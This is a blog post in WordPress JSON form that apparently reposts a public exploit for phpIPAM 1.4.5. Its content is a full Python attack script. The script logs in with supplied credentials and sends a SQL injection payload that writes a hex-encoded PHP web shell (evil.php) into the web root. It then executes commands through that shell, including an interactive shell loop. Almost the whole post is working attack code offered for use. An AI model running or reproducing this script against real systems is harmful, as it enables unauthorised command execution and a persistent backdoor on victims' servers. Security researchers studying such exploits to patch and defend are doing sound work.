{"id":25931,"date":"2022-06-20T05:50:02","date_gmt":"2022-06-20T01:50:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167518\/phpipam145-exec.txt"},"modified":"2022-06-26T10:00:49","modified_gmt":"2022-06-26T05:30:49","slug":"phpipam-1-4-5-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/phpipam-1-4-5-remote-code-execution\/","title":{"rendered":"phpIPAM 1.4.5 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: phpIPAM 1.4.5 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 2022-04-10<br \/>\n# Exploit Author: Guilherme &#8216;@behiNdyk1&#8217; Alves<br \/>\n# Vendor Homepage: https:\/\/phpipam.net\/<br \/>\n# Software Link: https:\/\/github.com\/phpipam\/phpipam\/releases\/tag\/v1.4.5<br \/>\n# Version: 1.4.5<br \/>\n# Tested on: Linux Ubuntu 20.04.3 LTS<\/p>\n<p>#!\/usr\/bin\/env python3<\/p>\n<p>import requests<br \/>\nimport argparse<br \/>\nfrom sys import exit, argv<br \/>\nfrom termcolor import colored<\/p>\n<p>banner = &#8220;&#8221;&#8221;<br \/>\n\u2588\u2580\u2588 \u2588\u2591\u2588 \u2588\u2580\u2588 \u2588 \u2588\u2580\u2588 \u2584\u2580\u2588 \u2588\u2580\u2584\u2580\u2588 \u2584\u2588 \u2591 \u2588\u2591\u2588 \u2591 \u2588\u2580 \u2588\u2580 \u2588\u2580\u2588 \u2588\u2591\u2591 \u2588 \u2580\u2588\u2580 \u2588\u2580\u2588 \u2588\u2580\u2588 \u2588\u2580\u2580 \u2588\u2580\u2580<br \/>\n\u2588\u2580\u2580 \u2588\u2580\u2588 \u2588\u2580\u2580 \u2588 \u2588\u2580\u2580 \u2588\u2580\u2588 \u2588\u2591\u2580\u2591\u2588 \u2591\u2588 \u2584 \u2580\u2580\u2588 \u2584 \u2584\u2588 \u2584\u2588 \u2580\u2580\u2588 \u2588\u2584\u2584 \u2588 \u2591\u2588\u2591 \u2588\u2584\u2588 \u2588\u2580\u2584 \u2588\u2584\u2584 \u2588\u2588\u2584<\/p>\n<p>\u2588\u2584\u2584 \u2588\u2584\u2588 \u2588\u2584\u2584 \u2588\u2580\u2580 \u2588\u2591\u2588 \u2588 \u2588\u2584\u2591\u2588 \u2588\u2580\u2584 \u2588\u2584\u2588 \u2588\u2580 \u2588\u2580\u2580 \u2588\u2580\u2580<br \/>\n\u2588\u2584\u2588 \u2591\u2588\u2591 \u2588\u2584\u2588 \u2588\u2588\u2584 \u2588\u2580\u2588 \u2588 \u2588\u2591\u2580\u2588 \u2588\u2584\u2580 \u2591\u2588\u2591 \u2584\u2588 \u2588\u2588\u2584 \u2588\u2584\u2584\\n&#8221;&#8221;&#8221;<br \/>\nprint(banner)<\/p>\n<p>parser = argparse.ArgumentParser(usage=&#8221;.\/exploit.py -url http:\/\/domain.tld\/ipam_base_url -usr username -pwd password -cmd &#8216;command_to_execute&#8217; &#8211;path \/system\/writable\/path\/to\/save\/shell&#8221;, description=&#8221;phpIPAM 1.4.5 &#8211; (Authenticated) SQL Injection to RCE&#8221;)<\/p>\n<p>parser.add_argument(&#8220;-url&#8221;, type=str, help=&#8221;URL to vulnerable IPAM&#8221;, required=True)<br \/>\nparser.add_argument(&#8220;-usr&#8221;, type=str, help=&#8221;Username to log in as&#8221;, required=True)<br \/>\nparser.add_argument(&#8220;-pwd&#8221;, type=str, help=&#8221;User&#8217;s password&#8221;, required=True)<br \/>\nparser.add_argument(&#8220;-cmd&#8221;, type=str, help=&#8221;Command to execute&#8221;, default=&#8221;id&#8221;)<br \/>\nparser.add_argument(&#8220;&#8211;path&#8221;, type=str, help=&#8221;Path to writable system folder and accessible via webserver (default: \/var\/www\/html)&#8221;, default=&#8221;\/var\/www\/html&#8221;)<br \/>\nparser.add_argument(&#8220;&#8211;shell&#8221;, type=str, help=&#8221;Spawn a shell (non-interactive)&#8221;, nargs=&#8221;?&#8221;)<br \/>\nargs = parser.parse_args()<\/p>\n<p>url = args.url<br \/>\nusername = args.usr<br \/>\npassword = args.pwd<br \/>\ncommand = args.cmd<br \/>\npath = args.path<\/p>\n<p># Validating url<br \/>\nif url.endswith(&#8220;\/&#8221;):<br \/>\nurl = url[:-1]\nif not url.startswith(&#8220;http:\/\/&#8221;) and not url.startswith(&#8220;https:\/\/&#8221;):<br \/>\nprint(colored(&#8220;[!] Please specify a valid scheme (http:\/\/ or https:\/\/) before the domain.&#8221;, &#8220;yellow&#8221;))<br \/>\nexit()<\/p>\n<p>def login(url, username, password):<br \/>\n&#8220;&#8221;&#8221;Takes an username and a password and tries to execute a login (IPAM)&#8221;&#8221;&#8221;<br \/>\ndata = {<br \/>\n&#8220;ipamusername&#8221;: username,<br \/>\n&#8220;ipampassword&#8221;: password<br \/>\n}<br \/>\nprint(colored(f&#8221;[&#8230;] Trying to log in as {username}&#8221;, &#8220;blue&#8221;))<br \/>\nr = requests.post(f&#8221;{url}\/app\/login\/login_check.php&#8221;, data=data)<br \/>\nif &#8220;Invalid username or password&#8221; in r.text:<br \/>\nprint(colored(f&#8221;[-] There&#8217;s an error when trying to log in using these credentials &#8211;&gt; {username}:{password}&#8221;, &#8220;red&#8221;))<br \/>\nexit()<br \/>\nelse:<br \/>\nprint(colored(&#8220;[+] Login successful!&#8221;, &#8220;green&#8221;))<br \/>\nreturn str(r.cookies[&#8216;phpipam&#8217;])<\/p>\n<p>auth_cookie = login(url, username, password)<\/p>\n<p>def exploit(url, auth_cookie, path, command):<br \/>\nprint(colored(&#8220;[&#8230;] Exploiting&#8221;, &#8220;blue&#8221;))<br \/>\nvulnerable_path = &#8220;app\/admin\/routing\/edit-bgp-mapping-search.php&#8221;<br \/>\ndata = {<br \/>\n&#8220;subnet&#8221;: f&#8221;\\&#8221; Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE &#8216;{path}\/evil.php&#8217; &#8212; -&#8220;,<br \/>\n&#8220;bgp_id&#8221;: &#8220;1&#8221;<br \/>\n}<br \/>\ncookies = {<br \/>\n&#8220;phpipam&#8221;: auth_cookie<br \/>\n}<br \/>\nrequests.post(f&#8221;{url}\/{vulnerable_path}&#8221;, data=data, cookies=cookies)<br \/>\ntest = requests.get(f&#8221;{url}\/evil.php&#8221;)<br \/>\nif test.status_code != 200:<br \/>\nreturn print(colored(f&#8221;[-] Something went wrong. Maybe the path isn&#8217;t writable. You can still abuse of the SQL injection vulnerability at {url}\/index.php?page=tools&amp;section=routing&amp;subnetId=bgp&amp;sPage=1&#8243;, &#8220;red&#8221;))<br \/>\nif &#8220;&#8211;shell&#8221; in argv:<br \/>\nwhile True:<br \/>\ncommand = input(&#8220;Shell&gt; &#8220;)<br \/>\nr = requests.get(f&#8221;{url}\/evil.php?cmd={command}&#8221;)<br \/>\nprint(r.text)<br \/>\nelse:<br \/>\nprint(colored(f&#8221;[+] Success! The shell is located at {url}\/evil.php. Parameter: cmd&#8221;, &#8220;green&#8221;))<br \/>\nr = requests.get(f&#8221;{url}\/evil.php?cmd={command}&#8221;)<br \/>\nprint(f&#8221;\\n\\n[+] Output:\\n{r.text}&#8221;)<\/p>\n<p>exploit(url, auth_cookie, path, command)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: phpIPAM 1.4.5 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 2022-04-10 # Exploit Author: Guilherme &#8216;@behiNdyk1&#8217; Alves # Vendor Homepage: https:\/\/phpipam.net\/ # Software Link: https:\/\/github.com\/phpipam\/phpipam\/releases\/tag\/v1.4.5 # Version: 1.4.5 # Tested on: Linux Ubuntu 20.04.3 LTS #!\/usr\/bin\/env python3 import requests import argparse from sys import exit, argv from termcolor import colored banner = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25931","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25931","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25931"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25931\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25931"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25931"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25931"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}